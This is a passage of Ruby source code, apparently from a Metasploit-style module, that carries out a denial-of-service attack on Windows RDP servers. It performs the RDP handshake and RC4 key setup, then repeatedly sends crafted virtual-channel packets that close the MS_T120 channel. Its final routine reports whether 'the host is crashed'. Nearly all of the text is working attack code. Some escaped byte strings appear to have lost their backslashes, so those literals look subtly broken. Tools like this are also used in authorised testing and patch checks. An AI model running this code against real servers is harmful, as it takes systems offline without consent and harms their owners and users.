"x0bx00" + # lengthCapability: 11
"x02x00x00x00x03x0cx00" +
"x1dx00" + # capabilitySetType: ??
"x5fx00" + # lengthCapability: 95
"x02xb9x1bx8dxcax0fx00x4fx15x58x9fxaex2dx1ax87xe2" +
"xd6x01x03x00x01x01x03xd4xccx44x27x8ax9dx74x4ex80" +
"x3cx0excbxeexa1x9cx54x05x31x00x31x00x00x00x01x00" +
"x00x00x25x00x00x00xc0xcbx08x00x00x00x01x00xc1xcb" +
"x1dx00x00x00x01xc0xcfx02x00x08x00x00x01x40x00x02" +
"x01x01x01x00x01x40x00x02x01x01x04"

## type = 0x13 = TS_PROTOCOL_VERSION | PDUTYPE_CONFIRMACTIVEPDU
return(rdp_build_share_control_header(0x13, pdu))
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/5186005a-36f5-4f5d-8c06-968f28e2d992
## Client Synchronize - TS_SYNCHRONIZE_PDU - 2.2.1.19 / 2.2.14.1
def pdu_client_synchronize(target_user = 0)
pdu = "x01x00" + # messageType: 1 SYNCMSGTYPE_SYNC
[target_user].pack("S<") # targetUser, 16 bit, unsigned.

## pduType2 = 0x1f = 31 - PDUTYPE2_SCYNCHRONIZE
data_header = rdp_build_share_data_header(0x1f, pdu)

## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU
return(rdp_build_share_control_header(0x17, data_header))
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/9d1e1e21-d8b4-4bfd-9caf-4b72ee91a7135
## Control Cooperate - TC_CONTROL_PDU 2.2.1.15
def pdu_client_control_cooperate()
pdu = "x04x00" + # action: 4 - CTRLACTION_COOPERATE
"x00x00" + # grantId: 0
"x00x00x00x00" # controlId: 0

## pduType2 = 0x14 = 20 - PDUTYPE2_CONTROL
data_header = rdp_build_share_data_header(0x14, pdu)

## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU
return(rdp_build_share_control_header(0x17, data_header))
end


## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4f94e123-970b-4242-8cf6-39820d8e3d35
## Control Request - TC_CONTROL_PDU 2.2.1.16
def pdu_client_control_request()

pdu = "x01x00" + # action: 1 - CTRLACTION_REQUEST_CONTROL
"x00x00" + # grantId: 0
"x00x00x00x00" # controlId: 0

## pduType2 = 0x14 = 20 - PDUTYPE2_CONTROL
data_header = rdp_build_share_data_header(0x14, pdu)

## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU
return(rdp_build_share_control_header(0x17, data_header))
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/ff7f06f8-0dcf-4c8d-be1f-596ae60c4396
## Client Input Event Data - TS_INPUT_PDU_DATA - 2.2.8.1.1.3.1
def pdu_client_input_event_sychronize()
pdu = "x01x00" + # numEvents: 1
"x00x00" + # pad2Octets
"x00x00x00x00" + # eventTime
"x00x00" + # messageType: 0 - INPUT_EVENT_SYNC

## TS_SYNC_EVENT 202.8.1.1.3.1.1.5
"x00x00" + # pad2Octets
"x00x00x00x00" # toggleFlags

## pduType2 = 0x1c = 28 - PDUTYPE2_INPUT
data_header = rdp_build_share_data_header(0x1c, pdu)

## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU
return(rdp_build_share_control_header(0x17, data_header))
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/7067da0d-e318-4464-88e8-b11509cf0bd9
## Client Font List - TS_FONT_LIST_PDU - 2.2.1.18
def pdu_client_font_list()
pdu = "x00x00" + # numberFonts: 0
"x00x00" + # totalNumberFonts: 0
"x03x00" + # listFlags: 3 (FONTLIST_FIRST | FONTLIST_LAST)
"x32x00" # entrySize: 50

## pduType2 = 0x27 = 29 - PDUTYPE2_FONTLIST
data_header = rdp_build_share_data_header(0x27, pdu)

## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU
return(rdp_build_share_control_header(0x17, data_header))
end

# ------------------------------------------------------------------------- #

def crash_test(rc4enckey, hmackey)
begin
received = ""
for i in 0..5
received += rdp_recv()
end
rescue RdpCommunicationError
# we don't care
end

vprint_status("Sending DoS payload")
found = false
for j in 0..15
## x86_payload:
rdp_send(rdp_build_pkt(rdp_build_virtual_channel_pdu(0x03, ["00000000020000000000000"].pack("H*")), rc4enckey, hmackey, "x03xef"))

## x64_payload:
rdp_send(rdp_build_pkt(rdp_build_virtual_channel_pdu(0x03, ["00000000000000000200000"].pack("H*")), rc4enckey, hmackey, "x03xef"))
end
end

def produce_dos()

unless(rdp_connection_initiation())
vprint_status("Could not connect to RDP.")
return(false)
end

vprint_status("Sending initial client data")
received = rdp_sendrecv(pdu_connect_initial(RDPConstants::PROTOCOL_RDP, datastore['RDP_CLIENT_NAME']))

rsmod, rsexp, rsran, server_rand, bitlen = rdp_parse_connect_response(received)

vprint_status("Sending erect domain request")
rdp_send(pdu_erect_domain_request())

vprint_status("Sending attach user request")
received = rdp_sendrecv(pdu_attach_user_request())

user1 = received[9, 2].unpack("n").first

[1003, 1004, 1005, 1006, 1007].each do | chan |
rdp_sendrecv(pdu_channel_request(user1, chan))
end

## 5.3.4 Client Random Value
client_rand = ''
32.times { client_rand << rand(0..255) }
rcran = bytes_to_bignum(client_rand)

vprint_status("Sending security exchange PDU")
rdp_send(pdu_security_exchange(rcran, rsexp, rsmod, bitlen))

## We aren't decrypting anything at this point. Leave the variables here
## to make it easier to understand in the future.
rc4encstart, rc4decstart, hmackey, sessblob = rdp_calculate_rc4_keys(client_rand, server_rand)

vprint_status("RC4_ENC_KEY: #{bin_to_hex(rc4encstart)}")
vprint_status("RC4_DEC_KEY: #{bin_to_hex(rc4decstart)}")
vprint_status("HMAC_KEY: #{bin_to_hex(hmackey)}")
vprint_status("SESS_BLOB: #{bin_to_hex(sessblob)}")

rc4enckey = RC4.new(rc4encstart)

vprint_status("Sending client info PDU") # TODO
pdu = pdu_client_info(datastore['RDP_USER'], datastore['RDP_DOMAIN'], datastore['RDP_CLIENT_IP'])
received = rdp_sendrecv(rdp_build_pkt(pdu, rc4enckey, hmackey, "x03xeb", true))

vprint_status("Received License packet")
rdp_recv()

vprint_status("Sending client confirm active PDU")
rdp_send(rdp_build_pkt(pdu_client_confirm_active(), rc4enckey, hmackey))

vprint_status("Sending client synchronize PDU")
rdp_send(rdp_build_pkt(pdu_client_synchronize(1009), rc4enckey, hmackey))

vprint_status("Sending client control cooperate PDU")
rdp_send(rdp_build_pkt(pdu_client_control_cooperate(), rc4enckey, hmackey))

vprint_status("Sending client control request control PDU")
rdp_send(rdp_build_pkt(pdu_client_control_request(), rc4enckey, hmackey))

vprint_status("Sending client input sychronize PDU")
rdp_send(rdp_build_pkt(pdu_client_input_event_sychronize(), rc4enckey, hmackey))

vprint_status("Sending client font list PDU")
rdp_send(rdp_build_pkt(pdu_client_font_list(), rc4enckey, hmackey))

vprint_status("Sending close mst120 PDU")
crash_test(rc4enckey, hmackey)

vprint_status("Sending client disconnection PDU")
rdp_send(rdp_build_data_tpdu("x21x80"))

return(true)
end

# ------------------------------------------------------------------------- #

def run_host(ip)
## Allow the run command to call the check command.
begin
if(open_connection())
status = produce_dos()
end
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError, ::TypeError => e
bt = e.backtrace.join(" ")
vprint_error("Unexpected error: #{e.message}")
vprint_line(bt)
elog("#{e.message} #{bt}")
rescue RdpCommunicationError => e
vprint_error("Error communicating RDP protocol.")
status = Exploit::CheckCode::Unknown
rescue Errno::ECONNRESET => e # NLA?
vprint_error("Connection reset, possible NLA is enabled.")
rescue => e
bt = e.backtrace.join(" ")
vprint_error("Unexpected error: #{e.message}")
vprint_line(bt)
elog("#{e.message} #{bt}")
ensure

if(status == true)
sleep(1)
unless(open_connection())
print_good("The host is crashed!")
else
print_bad("The DoS has been sent but the host is already connected!")
end
end

disconnect()
end
end

end